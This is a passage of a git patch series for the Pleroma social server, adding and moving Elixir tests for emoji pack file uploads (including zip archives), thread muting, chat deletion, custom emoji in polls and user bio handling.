+ |> json_response_and_validate_schema(200) == %{ + "blank" => "blank.png", + "blank2" => "blank2.png", + "blank4" => "dir_2/blank_3.png" + } + + assert File.exists?("#{@emoji_path}/test_pack/dir_2/blank_3.png") + end + + test "with empty filename", %{admin_conn: admin_conn} do + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> post("/api/pleroma/emoji/packs/test_pack/files", %{ + shortcode: "blank2", + filename: "", + file: %Plug.Upload{ + filename: "blank.png", + path: "#{@emoji_path}/test_pack/blank.png" + } + }) + |> json_response_and_validate_schema(:bad_request) == %{ + "error" => "pack name, shortcode or filename cannot be empty" + } + end + + test "add file with not loaded pack", %{admin_conn: admin_conn} do + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> post("/api/pleroma/emoji/packs/not_loaded/files", %{ + shortcode: "blank3", + filename: "dir/blank.png", + file: %Plug.Upload{ + filename: "blank.png", + path: "#{@emoji_path}/test_pack/blank.png" + } + }) + |> json_response_and_validate_schema(:bad_request) == %{ + "error" => "pack \"not_loaded\" is not found" + } + end + + test "remove file with not loaded pack", %{admin_conn: admin_conn} do + assert admin_conn + |> delete("/api/pleroma/emoji/packs/not_loaded/files?shortcode=blank3") + |> json_response_and_validate_schema(:bad_request) == %{ + "error" => "pack \"not_loaded\" is not found" + } + end + + test "remove file with empty shortcode", %{admin_conn: admin_conn} do + assert admin_conn + |> delete("/api/pleroma/emoji/packs/not_loaded/files?shortcode=") + |> json_response_and_validate_schema(:bad_request) == %{ + "error" => "pack name or shortcode cannot be empty" + } + end + + test "update file with not loaded pack", %{admin_conn: admin_conn} do + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> patch("/api/pleroma/emoji/packs/not_loaded/files", %{ + shortcode: "blank4", + new_shortcode: "blank3", + new_filename: "dir_2/blank_3.png" + }) + |> json_response_and_validate_schema(:bad_request) == %{ + "error" => "pack \"not_loaded\" is not found" + } + end + + test "new with shortcode as file with update", %{admin_conn: admin_conn} do + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> post("/api/pleroma/emoji/packs/test_pack/files", %{ + shortcode: "blank4", + filename: "dir/blank.png", + file: %Plug.Upload{ + filename: "blank.png", + path: "#{@emoji_path}/test_pack/blank.png" + } + }) + |> json_response_and_validate_schema(200) == %{ + "blank" => "blank.png", + "blank4" => "dir/blank.png", + "blank2" => "blank2.png" + } + + assert File.exists?("#{@emoji_path}/test_pack/dir/blank.png") + + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> patch("/api/pleroma/emoji/packs/test_pack/files", %{ + shortcode: "blank4", + new_shortcode: "blank3", + new_filename: "dir_2/blank_3.png" + }) + |> json_response_and_validate_schema(200) == %{ + "blank3" => "dir_2/blank_3.png", + "blank" => "blank.png", + "blank2" => "blank2.png" + } + + refute File.exists?("#{@emoji_path}/test_pack/dir/") + assert File.exists?("#{@emoji_path}/test_pack/dir_2/blank_3.png") + + assert admin_conn + |> delete("/api/pleroma/emoji/packs/test_pack/files?shortcode=blank3") + |> json_response_and_validate_schema(200) == %{ + "blank" => "blank.png", + "blank2" => "blank2.png" + } + + refute File.exists?("#{@emoji_path}/test_pack/dir_2/") + + on_exit(fn -> File.rm_rf!("#{@emoji_path}/test_pack/dir") end) + end + + test "new with shortcode from url", %{admin_conn: admin_conn} do + mock(fn + %{ + method: :get, + url: "https://test-blank/blank_url.png" + } -> + text(File.read!("#{@emoji_path}/test_pack/blank.png")) + end) + + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> post("/api/pleroma/emoji/packs/test_pack/files", %{ + shortcode: "blank_url", + file: "https://test-blank/blank_url.png" + }) + |> json_response_and_validate_schema(200) == %{ + "blank_url" => "blank_url.png", + "blank" => "blank.png", + "blank2" => "blank2.png" + } + + assert File.exists?("#{@emoji_path}/test_pack/blank_url.png") + + on_exit(fn -> File.rm_rf!("#{@emoji_path}/test_pack/blank_url.png") end) + end + + test "new without shortcode", %{admin_conn: admin_conn} do + on_exit(fn -> File.rm_rf!("#{@emoji_path}/test_pack/shortcode.png") end) + + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> post("/api/pleroma/emoji/packs/test_pack/files", %{ + file: %Plug.Upload{ + filename: "shortcode.png", + path: "#{Pleroma.Config.get([:instance, :static_dir])}/add/shortcode.png" + } + }) + |> json_response_and_validate_schema(200) == %{ + "shortcode" => "shortcode.png", + "blank" => "blank.png", + "blank2" => "blank2.png" + } + end + + test "remove non existing shortcode in pack.json", %{admin_conn: admin_conn} do + assert admin_conn + |> delete("/api/pleroma/emoji/packs/test_pack/files?shortcode=blank3") + |> json_response_and_validate_schema(:bad_request) == %{ + "error" => "Emoji \"blank3\" does not exist" + } + end + + test "update non existing emoji", %{admin_conn: admin_conn} do + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> patch("/api/pleroma/emoji/packs/test_pack/files", %{ + shortcode: "blank3", + new_shortcode: "blank4", + new_filename: "dir_2/blank_3.png" + }) + |> json_response_and_validate_schema(:bad_request) == %{ + "error" => "Emoji \"blank3\" does not exist" + } + end + + test "update with empty shortcode", %{admin_conn: admin_conn} do + assert %{ + "error" => "Missing field: new_shortcode." + } = + admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> patch("/api/pleroma/emoji/packs/test_pack/files", %{ + shortcode: "blank", + new_filename: "dir_2/blank_3.png" + }) + |> json_response_and_validate_schema(:bad_request) + end + end +end diff --git a/test/web/pleroma_api/controllers/emoji_pack_controller_test.exs b/test/web/pleroma_api/controllers/emoji_pack_controller_test.exs index e113bb15f..a34df2c18 100644 --- a/test/web/pleroma_api/controllers/emoji_pack_controller_test.exs +++ b/test/web/pleroma_api/controllers/emoji_pack_controller_test.exs @@ -411,293 +411,6 @@ defmodule Pleroma.Web.PleromaAPI.EmojiPackControllerTest do end end - describe "POST/PATCH/DELETE /api/pleroma/emoji/packs/:name/files" do - setup do - pack_file = "#{@emoji_path}/test_pack/pack.json" - original_content = File.read!(pack_file) - - on_exit(fn -> - File.write!(pack_file, original_content) - end) - - :ok - end - - test "create shortcode exists", %{admin_conn: admin_conn} do - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/test_pack/files", %{ - shortcode: "blank", - filename: "dir/blank.png", - file: %Plug.Upload{ - filename: "blank.png", - path: "#{@emoji_path}/test_pack/blank.png" - } - }) - |> json_response_and_validate_schema(:conflict) == %{ - "error" => "An emoji with the \"blank\" shortcode already exists" - } - end - - test "don't rewrite old emoji", %{admin_conn: admin_conn} do - on_exit(fn -> File.rm_rf!("#{@emoji_path}/test_pack/dir/") end) - - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/test_pack/files", %{ - shortcode: "blank3", - filename: "dir/blank.png", - file: %Plug.Upload{ - filename: "blank.png", - path: "#{@emoji_path}/test_pack/blank.png" - } - }) - |> json_response_and_validate_schema(200) == %{ - "blank" => "blank.png", - "blank2" => "blank2.png", - "blank3" => "dir/blank.png" - } - - assert File.exists?("#{@emoji_path}/test_pack/dir/blank.png") - - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/emoji/packs/test_pack/files", %{ - shortcode: "blank", - new_shortcode: "blank2", - new_filename: "dir_2/blank_3.png" - }) - |> json_response_and_validate_schema(:conflict) == %{ - "error" => - "New shortcode \"blank2\" is already used. If you want to override emoji use 'force' option" - } - end - - test "rewrite old emoji with force option", %{admin_conn: admin_conn} do - on_exit(fn -> File.rm_rf!("#{@emoji_path}/test_pack/dir_2/") end) - - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/test_pack/files", %{ - shortcode: "blank3", - filename: "dir/blank.png", - file: %Plug.Upload{ - filename: "blank.png", - path: "#{@emoji_path}/test_pack/blank.png" - } - }) - |> json_response_and_validate_schema(200) == %{ - "blank" => "blank.png", - "blank2" => "blank2.png", - "blank3" => "dir/blank.png" - } - - assert File.exists?("#{@emoji_path}/test_pack/dir/blank.png") - - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/emoji/packs/test_pack/files", %{ - shortcode: "blank3", - new_shortcode: "blank4", - new_filename: "dir_2/blank_3.png", - force: true - }) - |> json_response_and_validate_schema(200) == %{ - "blank" => "blank.png", - "blank2" => "blank2.png", - "blank4" => "dir_2/blank_3.png" - } - - assert File.exists?("#{@emoji_path}/test_pack/dir_2/blank_3.png") - end - - test "with empty filename", %{admin_conn: admin_conn} do - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/test_pack/files", %{ - shortcode: "blank2", - filename: "", - file: %Plug.Upload{ - filename: "blank.png", - path: "#{@emoji_path}/test_pack/blank.png" - } - }) - |> json_response_and_validate_schema(:bad_request) == %{ - "error" => "pack name, shortcode or filename cannot be empty" - } - end - - test "add file with not loaded pack", %{admin_conn: admin_conn} do - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/not_loaded/files", %{ - shortcode: "blank3", - filename: "dir/blank.png", - file: %Plug.Upload{ - filename: "blank.png", - path: "#{@emoji_path}/test_pack/blank.png" - } - }) - |> json_response_and_validate_schema(:bad_request) == %{ - "error" => "pack \"not_loaded\" is not found" - } - end - - test "remove file with not loaded pack", %{admin_conn: admin_conn} do - assert admin_conn - |> delete("/api/pleroma/emoji/packs/not_loaded/files?shortcode=blank3") - |> json_response_and_validate_schema(:bad_request) == %{ - "error" => "pack \"not_loaded\" is not found" - } - end - - test "remove file with empty shortcode", %{admin_conn: admin_conn} do - assert admin_conn - |> delete("/api/pleroma/emoji/packs/not_loaded/files?shortcode=") - |> json_response_and_validate_schema(:bad_request) == %{ - "error" => "pack name or shortcode cannot be empty" - } - end - - test "update file with not loaded pack", %{admin_conn: admin_conn} do - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/emoji/packs/not_loaded/files", %{ - shortcode: "blank4", - new_shortcode: "blank3", - new_filename: "dir_2/blank_3.png" - }) - |> json_response_and_validate_schema(:bad_request) == %{ - "error" => "pack \"not_loaded\" is not found" - } - end - - test "new with shortcode as file with update", %{admin_conn: admin_conn} do - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/test_pack/files", %{ - shortcode: "blank4", - filename: "dir/blank.png", - file: %Plug.Upload{ - filename: "blank.png", - path: "#{@emoji_path}/test_pack/blank.png" - } - }) - |> json_response_and_validate_schema(200) == %{ - "blank" => "blank.png", - "blank4" => "dir/blank.png", - "blank2" => "blank2.png" - } - - assert File.exists?("#{@emoji_path}/test_pack/dir/blank.png") - - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/emoji/packs/test_pack/files", %{ - shortcode: "blank4", - new_shortcode: "blank3", - new_filename: "dir_2/blank_3.png" - }) - |> json_response_and_validate_schema(200) == %{ - "blank3" => "dir_2/blank_3.png", - "blank" => "blank.png", - "blank2" => "blank2.png" - } - - refute File.exists?("#{@emoji_path}/test_pack/dir/") - assert File.exists?("#{@emoji_path}/test_pack/dir_2/blank_3.png") - - assert admin_conn - |> delete("/api/pleroma/emoji/packs/test_pack/files?shortcode=blank3") - |> json_response_and_validate_schema(200) == %{ - "blank" => "blank.png", - "blank2" => "blank2.png" - } - - refute File.exists?("#{@emoji_path}/test_pack/dir_2/") - - on_exit(fn -> File.rm_rf!("#{@emoji_path}/test_pack/dir") end) - end - - test "new with shortcode from url", %{admin_conn: admin_conn} do - mock(fn - %{ - method: :get, - url: "https://test-blank/blank_url.png" - } -> - text(File.read!("#{@emoji_path}/test_pack/blank.png")) - end) - - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/test_pack/files", %{ - shortcode: "blank_url", - file: "https://test-blank/blank_url.png" - }) - |> json_response_and_validate_schema(200) == %{ - "blank_url" => "blank_url.png", - "blank" => "blank.png", - "blank2" => "blank2.png" - } - - assert File.exists?("#{@emoji_path}/test_pack/blank_url.png") - - on_exit(fn -> File.rm_rf!("#{@emoji_path}/test_pack/blank_url.png") end) - end - - test "new without shortcode", %{admin_conn: admin_conn} do - on_exit(fn -> File.rm_rf!("#{@emoji_path}/test_pack/shortcode.png") end) - - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/test_pack/files", %{ - file: %Plug.Upload{ - filename: "shortcode.png", - path: "#{Pleroma.Config.get([:instance, :static_dir])}/add/shortcode.png" - } - }) - |> json_response_and_validate_schema(200) == %{ - "shortcode" => "shortcode.png", - "blank" => "blank.png", - "blank2" => "blank2.png" - } - end - - test "remove non existing shortcode in pack.json", %{admin_conn: admin_conn} do - assert admin_conn - |> delete("/api/pleroma/emoji/packs/test_pack/files?shortcode=blank3") - |> json_response_and_validate_schema(:bad_request) == %{ - "error" => "Emoji \"blank3\" does not exist" - } - end - - test "update non existing emoji", %{admin_conn: admin_conn} do - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/emoji/packs/test_pack/files", %{ - shortcode: "blank3", - new_shortcode: "blank4", - new_filename: "dir_2/blank_3.png" - }) - |> json_response_and_validate_schema(:bad_request) == %{ - "error" => "Emoji \"blank3\" does not exist" - } - end - - test "update with empty shortcode", %{admin_conn: admin_conn} do - assert %{ - "error" => "Missing field: new_shortcode." - } = - admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/emoji/packs/test_pack/files", %{ - shortcode: "blank", - new_filename: "dir_2/blank_3.png" - }) - |> json_response_and_validate_schema(:bad_request) - end - end - describe "POST/DELETE /api/pleroma/emoji/packs/:name" do test "creating and deleting a pack", %{admin_conn: admin_conn} do assert admin_conn -- cgit v1.2.3 From f5845ff03395816902a637a28412f85e671575e7 Mon Sep 17 00:00:00 2001 From: Maksim Pechnikov Date: Sat, 22 Aug 2020 10:42:02 +0300 Subject: upload emoji zip file --- test/fixtures/finland-emojis.zip | Bin 0 -> 460250 bytes .../controllers/emoji_file_controller_test.exs | 51 ++++++++++++++++++--- 2 files changed, 45 insertions(+), 6 deletions(-) create mode 100644 test/fixtures/finland-emojis.zip (limited to 'test') diff --git a/test/fixtures/finland-emojis.zip b/test/fixtures/finland-emojis.zip new file mode 100644 index 000000000..de7242ea1 Binary files /dev/null and b/test/fixtures/finland-emojis.zip differ diff --git a/test/web/pleroma_api/controllers/emoji_file_controller_test.exs b/test/web/pleroma_api/controllers/emoji_file_controller_test.exs index 56be130be..827a4c374 100644 --- a/test/web/pleroma_api/controllers/emoji_file_controller_test.exs +++ b/test/web/pleroma_api/controllers/emoji_file_controller_test.exs @@ -41,6 +41,45 @@ defmodule Pleroma.Web.PleromaAPI.EmojiFileControllerTest do :ok end + test "upload zip file with emojies", %{admin_conn: admin_conn} do + on_exit(fn -> + [ + "128px/a_trusted_friend-128.png", + "auroraborealis.png", + "1000px/baby_in_a_box.png", + "1000px/bear.png", + "128px/bear-128.png" + ] + |> Enum.each(fn path -> File.rm_rf!("#{@emoji_path}/test_pack/#{path}") end) + end) + + resp = + admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> post("/api/pleroma/emoji/packs/test_pack/files", %{ + file: %Plug.Upload{ + content_type: "application/zip", + filename: "finland-emojis.zip", + path: Path.absname("test/fixtures/finland-emojis.zip") + } + }) + |> json_response_and_validate_schema(200) + + assert resp == %{ + "a_trusted_friend-128" => "128px/a_trusted_friend-128.png", + "auroraborealis" => "auroraborealis.png", + "baby_in_a_box" => "1000px/baby_in_a_box.png", + "bear" => "1000px/bear.png", + "bear-128" => "128px/bear-128.png", + "blank" => "blank.png", + "blank2" => "blank2.png" + } + + Enum.each(Map.values(resp), fn path -> + assert File.exists?("#{@emoji_path}/test_pack/#{path}") + end) + end + test "create shortcode exists", %{admin_conn: admin_conn} do assert admin_conn |> put_req_header("content-type", "multipart/form-data") @@ -140,7 +179,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiFileControllerTest do path: "#{@emoji_path}/test_pack/blank.png" } }) - |> json_response_and_validate_schema(:bad_request) == %{ + |> json_response_and_validate_schema(422) == %{ "error" => "pack name, shortcode or filename cannot be empty" } end @@ -156,7 +195,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiFileControllerTest do path: "#{@emoji_path}/test_pack/blank.png" } }) - |> json_response_and_validate_schema(:bad_request) == %{ + |> json_response_and_validate_schema(:not_found) == %{ "error" => "pack \"not_loaded\" is not found" } end @@ -164,7 +203,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiFileControllerTest do test "remove file with not loaded pack", %{admin_conn: admin_conn} do assert admin_conn |> delete("/api/pleroma/emoji/packs/not_loaded/files?shortcode=blank3") - |> json_response_and_validate_schema(:bad_request) == %{ + |> json_response_and_validate_schema(:not_found) == %{ "error" => "pack \"not_loaded\" is not found" } end @@ -172,8 +211,8 @@ defmodule Pleroma.Web.PleromaAPI.EmojiFileControllerTest do test "remove file with empty shortcode", %{admin_conn: admin_conn} do assert admin_conn |> delete("/api/pleroma/emoji/packs/not_loaded/files?shortcode=") - |> json_response_and_validate_schema(:bad_request) == %{ - "error" => "pack name or shortcode cannot be empty" + |> json_response_and_validate_schema(:not_found) == %{ + "error" => "pack \"not_loaded\" is not found" } end @@ -185,7 +224,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiFileControllerTest do new_shortcode: "blank3", new_filename: "dir_2/blank_3.png" }) - |> json_response_and_validate_schema(:bad_request) == %{ + |> json_response_and_validate_schema(:not_found) == %{ "error" => "pack \"not_loaded\" is not found" } end -- cgit v1.2.3 From 14ec12ac956ffa9964254cb3be390c9903103da3 Mon Sep 17 00:00:00 2001 From: Maksim Pechnikov Date: Mon, 24 Aug 2020 09:47:25 +0300 Subject: added tests --- test/emoji/pack_test.exs | 93 +++++++++++++++++++++++++++++++++++++++++++++++ test/fixtures/empty.zip | Bin 0 -> 22 bytes test/utils_test.exs | 15 ++++++++ 3 files changed, 108 insertions(+) create mode 100644 test/emoji/pack_test.exs create mode 100644 test/fixtures/empty.zip create mode 100644 test/utils_test.exs (limited to 'test') diff --git a/test/emoji/pack_test.exs b/test/emoji/pack_test.exs new file mode 100644 index 000000000..3ec991f0f --- /dev/null +++ b/test/emoji/pack_test.exs @@ -0,0 +1,93 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Emoji.PackTest do + use ExUnit.Case, async: true + alias Pleroma.Emoji.Pack + + @emoji_path Path.join( + Pleroma.Config.get!([:instance, :static_dir]), + "emoji" + ) + + setup do + pack_path = Path.join(@emoji_path, "dump_pack") + File.mkdir(pack_path) + + File.write!(Path.join(pack_path, "pack.json"), """ + { + "files": { }, + "pack": { + "description": "Dump pack", "homepage": "https://pleroma.social", + "license": "Test license", "share-files": true + }} + """) + + {:ok, pack} = Pleroma.Emoji.Pack.load_pack("dump_pack") + + on_exit(fn -> + File.rm_rf!(pack_path) + end) + + {:ok, pack: pack} + end + + describe "add_file/4" do + test "add emojies from zip file", %{pack: pack} do + file = %Plug.Upload{ + content_type: "application/zip", + filename: "finland-emojis.zip", + path: Path.absname("test/fixtures/finland-emojis.zip") + } + + {:ok, updated_pack} = Pack.add_file(pack, nil, nil, file) + + assert updated_pack.files == %{ + "a_trusted_friend-128" => "128px/a_trusted_friend-128.png", + "auroraborealis" => "auroraborealis.png", + "baby_in_a_box" => "1000px/baby_in_a_box.png", + "bear" => "1000px/bear.png", + "bear-128" => "128px/bear-128.png" + } + + assert updated_pack.files_count == 5 + end + end + + test "returns error when zip file is bad", %{pack: pack} do + file = %Plug.Upload{ + content_type: "application/zip", + filename: "finland-emojis.zip", + path: Path.absname("test/instance_static/emoji/test_pack/blank.png") + } + + assert Pack.add_file(pack, nil, nil, file) == {:error, :einval} + end + + test "returns pack when zip file is empty", %{pack: pack} do + file = %Plug.Upload{ + content_type: "application/zip", + filename: "finland-emojis.zip", + path: Path.absname("test/fixtures/empty.zip") + } + + {:ok, updated_pack} = Pack.add_file(pack, nil, nil, file) + assert updated_pack == pack + end + + test "add emoji file", %{pack: pack} do + file = %Plug.Upload{ + filename: "blank.png", + path: "#{@emoji_path}/test_pack/blank.png" + } + + {:ok, updated_pack} = Pack.add_file(pack, "test_blank", "test_blank.png", file) + + assert updated_pack.files == %{ + "test_blank" => "test_blank.png" + } + + assert updated_pack.files_count == 1 + end +end diff --git a/test/fixtures/empty.zip b/test/fixtures/empty.zip new file mode 100644 index 000000000..15cb0ecb3 Binary files /dev/null and b/test/fixtures/empty.zip differ diff --git a/test/utils_test.exs b/test/utils_test.exs new file mode 100644 index 000000000..3a730d545 --- /dev/null +++ b/test/utils_test.exs @@ -0,0 +1,15 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.UtilsTest do + use ExUnit.Case, async: true + + describe "tmp_dir/1" do + test "returns unique temporary directory" do + {:ok, path} = Pleroma.Utils.tmp_dir("emoji") + assert path =~ ~r/\/tmp\/emoji-(.*)-#{:os.getpid()}-(.*)/ + File.rm_rf(path) + end + end +end -- cgit v1.2.3 From f0fefc4f5c3aa4fa62f2edee72ee864a16e7176d Mon Sep 17 00:00:00 2001 From: Maksim Pechnikov Date: Fri, 28 Aug 2020 18:17:44 +0300 Subject: marks notifications as read after mute --- test/web/common_api/common_api_test.exs | 65 +++++++++++++++++++++++++++++++++ 1 file changed, 65 insertions(+) (limited to 'test') diff --git a/test/web/common_api/common_api_test.exs b/test/web/common_api/common_api_test.exs index 4ba6232dc..800db9a20 100644 --- a/test/web/common_api/common_api_test.exs +++ b/test/web/common_api/common_api_test.exs @@ -9,6 +9,7 @@ defmodule Pleroma.Web.CommonAPITest do alias Pleroma.Conversation.Participation alias Pleroma.Notification alias Pleroma.Object + alias Pleroma.Repo alias Pleroma.User alias Pleroma.Web.ActivityPub.ActivityPub alias Pleroma.Web.ActivityPub.Transmogrifier @@ -18,6 +19,7 @@ defmodule Pleroma.Web.CommonAPITest do import Pleroma.Factory import Mock + import Ecto.Query, only: [from: 2] require Pleroma.Constants @@ -808,6 +810,69 @@ defmodule Pleroma.Web.CommonAPITest do [user: user, activity: activity] end + test "marks notifications as read after mute" do + author = insert(:user) + activity = insert(:note_activity, user: author) + + friend1 = insert(:user) + friend2 = insert(:user) + + {:ok, reply_activity} = + CommonAPI.post( + friend2, + %{ + status: "@#{author.nickname} @#{friend1.nickname} test reply", + in_reply_to_status_id: activity.id + } + ) + + {:ok, favorite_activity} = CommonAPI.favorite(friend2, activity.id) + {:ok, repeat_activity} = CommonAPI.repeat(activity.id, friend1) + + assert Repo.aggregate( + from(n in Notification, where: n.seen == false and n.user_id == ^friend1.id), + :count + ) == 1 + + unread_notifications = + Repo.all(from(n in Notification, where: n.seen == false, where: n.user_id == ^author.id)) + + assert Enum.any?(unread_notifications, fn n -> + n.type == "favourite" && n.activity_id == favorite_activity.id + end) + + assert Enum.any?(unread_notifications, fn n -> + n.type == "reblog" && n.activity_id == repeat_activity.id + end) + + assert Enum.any?(unread_notifications, fn n -> + n.type == "mention" && n.activity_id == reply_activity.id + end) + + {:ok, _} = CommonAPI.add_mute(author, activity) + assert CommonAPI.thread_muted?(author, activity) + + assert Repo.aggregate( + from(n in Notification, where: n.seen == false and n.user_id == ^friend1.id), + :count + ) == 1 + + read_notifications = + Repo.all(from(n in Notification, where: n.seen == true, where: n.user_id == ^author.id)) + + assert Enum.any?(read_notifications, fn n -> + n.type == "favourite" && n.activity_id == favorite_activity.id + end) + + assert Enum.any?(read_notifications, fn n -> + n.type == "reblog" && n.activity_id == repeat_activity.id + end) + + assert Enum.any?(read_notifications, fn n -> + n.type == "mention" && n.activity_id == reply_activity.id + end) + end + test "add mute", %{user: user, activity: activity} do {:ok, _} = CommonAPI.add_mute(user, activity) assert CommonAPI.thread_muted?(user, activity) -- cgit v1.2.3 From 0b621a834acf751332f4d202bd50d4ff3e789176 Mon Sep 17 00:00:00 2001 From: lain Date: Mon, 31 Aug 2020 16:48:17 +0200 Subject: Chats: Add cascading delete on both referenced users. Also remove the now-superfluous join in the chat controller, which was only used to filter out these cases. --- test/chat_test.exs | 22 ++++++++++++++++++++++ 1 file changed, 22 insertions(+) (limited to 'test') diff --git a/test/chat_test.exs b/test/chat_test.exs index 332f2180a..9e8a9ebf0 100644 --- a/test/chat_test.exs +++ b/test/chat_test.exs @@ -26,6 +26,28 @@ defmodule Pleroma.ChatTest do assert chat.id end + test "deleting the user deletes the chat" do + user = insert(:user) + other_user = insert(:user) + + {:ok, chat} = Chat.bump_or_create(user.id, other_user.ap_id) + + Repo.delete(user) + + refute Chat.get_by_id(chat.id) + end + + test "deleting the recipient deletes the chat" do + user = insert(:user) + other_user = insert(:user) + + {:ok, chat} = Chat.bump_or_create(user.id, other_user.ap_id) + + Repo.delete(other_user) + + refute Chat.get_by_id(chat.id) + end + test "it returns and bumps a chat for a user and recipient if it already exists" do user = insert(:user) other_user = insert(:user) -- cgit v1.2.3 From a142da3e4f03f2bfee7af30cca59b0fdc82da73f Mon Sep 17 00:00:00 2001 From: "Haelwenn (lanodan) Monnier" Date: Tue, 25 Aug 2020 01:16:12 +0200 Subject: Add new Emoji Ecto.Type and fix emoji in Question --- .../object_validators/chat_validation_test.exs | 1 + .../transmogrifier/question_handling_test.exs | 51 ++++++++++++++++++++++ 2 files changed, 52 insertions(+) (limited to 'test') diff --git a/test/web/activity_pub/object_validators/chat_validation_test.exs b/test/web/activity_pub/object_validators/chat_validation_test.exs index 50bf03515..16e4808e5 100644 --- a/test/web/activity_pub/object_validators/chat_validation_test.exs +++ b/test/web/activity_pub/object_validators/chat_validation_test.exs @@ -69,6 +69,7 @@ defmodule Pleroma.Web.ActivityPub.ObjectValidators.ChatValidationTest do assert {:ok, object, _meta} = ObjectValidator.validate(valid_chat_message, []) assert Map.put(valid_chat_message, "attachment", nil) == object + assert match?(%{"firefox" => _}, object["emoji"]) end test "validates for a basic object with an attachment", %{ diff --git a/test/web/activity_pub/transmogrifier/question_handling_test.exs b/test/web/activity_pub/transmogrifier/question_handling_test.exs index c82361828..74ee79543 100644 --- a/test/web/activity_pub/transmogrifier/question_handling_test.exs +++ b/test/web/activity_pub/transmogrifier/question_handling_test.exs @@ -106,6 +106,57 @@ defmodule Pleroma.Web.ActivityPub.Transmogrifier.QuestionHandlingTest do assert Enum.sort(object.data["oneOf"]) == Enum.sort(options) end + test "Mastodon Question activity with custom emojis" do + options = [ + %{ + "type" => "Note", + "name" => ":blobcat:", + "replies" => %{"totalItems" => 0, "type" => "Collection"} + }, + %{ + "type" => "Note", + "name" => ":blobfox:", + "replies" => %{"totalItems" => 0, "type" => "Collection"} + } + ] + + tag = [ + %{ + "icon" => %{ + "type" => "Image", + "url" => "https://blob.cat/emoji/custom/blobcats/blobcat.png" + }, + "id" => "https://blob.cat/emoji/custom/blobcats/blobcat.png", + "name" => ":blobcat:", + "type" => "Emoji", + "updated" => "1970-01-01T00:00:00Z" + }, + %{ + "icon" => %{"type" => "Image", "url" => "https://blob.cat/emoji/blobfox/blobfox.png"}, + "id" => "https://blob.cat/emoji/blobfox/blobfox.png", + "name" => ":blobfox:", + "type" => "Emoji", + "updated" => "1970-01-01T00:00:00Z" + } + ] + + data = + File.read!("test/fixtures/mastodon-question-activity.json") + |> Poison.decode!() + |> Kernel.put_in(["object", "oneOf"], options) + |> Kernel.put_in(["object", "tag"], tag) + + {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data) + object = Object.normalize(activity, false) + + assert object.data["oneOf"] == options + + assert object.data["emoji"] == %{ + "blobcat" => "https://blob.cat/emoji/custom/blobcats/blobcat.png", + "blobfox" => "https://blob.cat/emoji/blobfox/blobfox.png" + } + end + test "returns an error if received a second time" do data = File.read!("test/fixtures/mastodon-question-activity.json") |> Poison.decode!() -- cgit v1.2.3 From 126461942b63bbb74900f296ebcee72d2a33f3d2 Mon Sep 17 00:00:00 2001 From: rinpatch Date: Tue, 1 Sep 2020 09:25:32 +0300 Subject: User table: ensure bio is always a string Gets rid of '|| ""' in multiple places and fixes #2067 --- test/user_test.exs | 2 +- test/web/admin_api/controllers/admin_api_controller_test.exs | 2 +- test/web/twitter_api/util_controller_test.exs | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) (limited to 'test') diff --git a/test/user_test.exs b/test/user_test.exs index 3cf248659..50f72549e 100644 --- a/test/user_test.exs +++ b/test/user_test.exs @@ -1466,7 +1466,7 @@ defmodule Pleroma.UserTest do user = User.get_by_id(user.id) assert %User{ - bio: nil, + bio: "", raw_bio: nil, email: nil, name: nil, diff --git a/test/web/admin_api/controllers/admin_api_controller_test.exs b/test/web/admin_api/controllers/admin_api_controller_test.exs index dbf478edf..3bc88c6a9 100644 --- a/test/web/admin_api/controllers/admin_api_controller_test.exs +++ b/test/web/admin_api/controllers/admin_api_controller_test.exs @@ -203,7 +203,7 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do assert user.note_count == 0 assert user.follower_count == 0 assert user.following_count == 0 - assert user.bio == nil + assert user.bio == "" assert user.name == nil assert called(Pleroma.Web.Federator.publish(:_)) diff --git a/test/web/twitter_api/util_controller_test.exs b/test/web/twitter_api/util_controller_test.exs index 354d77b56..d164127ee 100644 --- a/test/web/twitter_api/util_controller_test.exs +++ b/test/web/twitter_api/util_controller_test.exs @@ -594,7 +594,7 @@ defmodule Pleroma.Web.TwitterAPI.UtilControllerTest do user = User.get_by_id(user.id) assert user.deactivated == true assert user.name == nil - assert user.bio == nil + assert user.bio == "" assert 